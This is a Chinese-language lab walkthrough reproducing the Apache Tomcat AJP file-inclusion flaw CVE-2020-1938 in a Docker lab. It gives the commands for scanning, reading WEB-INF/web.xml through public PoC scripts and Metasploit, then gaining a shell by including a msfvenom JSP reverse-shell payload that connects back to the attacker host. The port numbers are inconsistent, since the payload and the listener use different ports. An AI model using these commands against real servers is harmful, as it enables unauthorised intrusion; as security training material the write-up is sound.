Apache Tomcat 文件读取/文件包含(CVE-2020-1938)漏洞复现

一、靶场搭建

1. 1 环境地址

靶场:kali2024 192.168.109.130

攻击机器:kali2023 192.168.109.129

1.2 拉取靶场镜像

通过docker镜像搭建靶场

  1. docker搜索tomcat镜像
1
docker search tomcat-8.5.32


2. 拉取tomcat镜像

1
docker pull duonghuuphuc/tomcat-8.5.32 


3. 拉取完成后查看是否拉取成功

1
docker images


4. 运行镜像并映射端口

1
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32  


5. 并查看是否运行成功

1
docker ps -a


6. 访问
访问 192.168.109.130:8080 看到此页面说明靶场搭建成功了

二、漏洞检测

2.1 扫描靶机端口

使用nmap扫描靶机的端口
nmap -sT 192.168.109.130


可以看到8009端口的AJP协议是开启的,并且存在8009端口服务的开启,可以怀疑有CVE-2020-1938 Apache Tomcat文件包含漏洞的存在

2.2 使用poc利用漏洞验证

poc地址: https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi

  1. 在kali中克隆poc脚本到本地
1
git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi.git




(注意:python环境为python2,否则会报错)

2. 尝试读取靶机上Tomcat服务器的/usr/local/tomcat/webapps/ROOT/WEB-INF文件

1
python2 CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.109.130 -p 8009 -f WEB-INF/web.xml


成功读取Tomcat的Webapps下的文件web.xml,证明这里存在文件包含漏洞。
4. 返回kali2024靶机,进入Docker容器,查看相应的文件是否与Kali攻击机获取到的一致:
首先查容器id:

1
docker ps


5. 进入容器的shell:

1
sudo docker exec -it 5f35 /bin/bash


6. 然后进入到/usr/local/tomcat/webapps/ROOT/WEB-INF
ls查看

7. 查看web.xml文件,与远程读取的一致,成功复现CVE-2020-1938 漏洞。

利用文件包含漏洞进阶获得RCE,因为WEB-INF下都是服务器端的源代码和配置文件,web.xml这个文件是不应该被访问的。

2.3 msf验证

  1. 开启msfconsole
1
msfconsole


2. 查找cve-2020-1938

1
search cve-2020-1938

1
2
use 0
show options


3. 设置参数

1
2
set rhosts 192.168.109.130
run


可以看到能够读取到目标主机tomcat目录下的配置文件中/WEB-INF/web.xml文件
4. 在/WEB-INF/目录下创建测试文件test.txt 内容为:hello

重新设置参数

1
set filename /WEB-INF/test.txt


一样可以读取到
6. 再在上层目录ROOT下创建测试文件test.txt ,内容:123,同样可以读取

1
set filename /test.txt

三、漏洞利用–文件包含getshell

  1. 首先在靶机使用msf生成一个java木马
1
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.109.129 LPORT=6666 > shell.txt


2. 将生成的木马复制到tomcat目录下,模拟将shell.txt上传的过程。

1
docker cp /root/shell.txt 5f35a683cfec:/usr/local/tomcat/webapps/ROOT/WEB-INF/shell.txt


3. 在攻击机下载poc

1
git clone https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/


4. 在攻击机打开msf进行监听
打开msf:msfconsole
设置监听模块:use exploit/multi/handler
设置 payload:set payload java/jsp_shell_reverse_tcp
设置监听 IP 地址:set lhost 192.168.109.129
设置监听端口:set lport 8888
执行 :run

5. 在攻击机访问shell.txt,使shell.txt发生文件包含

1
python2 Tomcat-ROOT路径下文件包含(CVE-2020-1938).py 192.168.109.130 -p 8009 -f /WEB-INF/shell.txt 


显示连接成功,靶场主机192.168.109.130:52054,连接到了攻击机器6666端口,并且可以执行系统命令,getshell成功了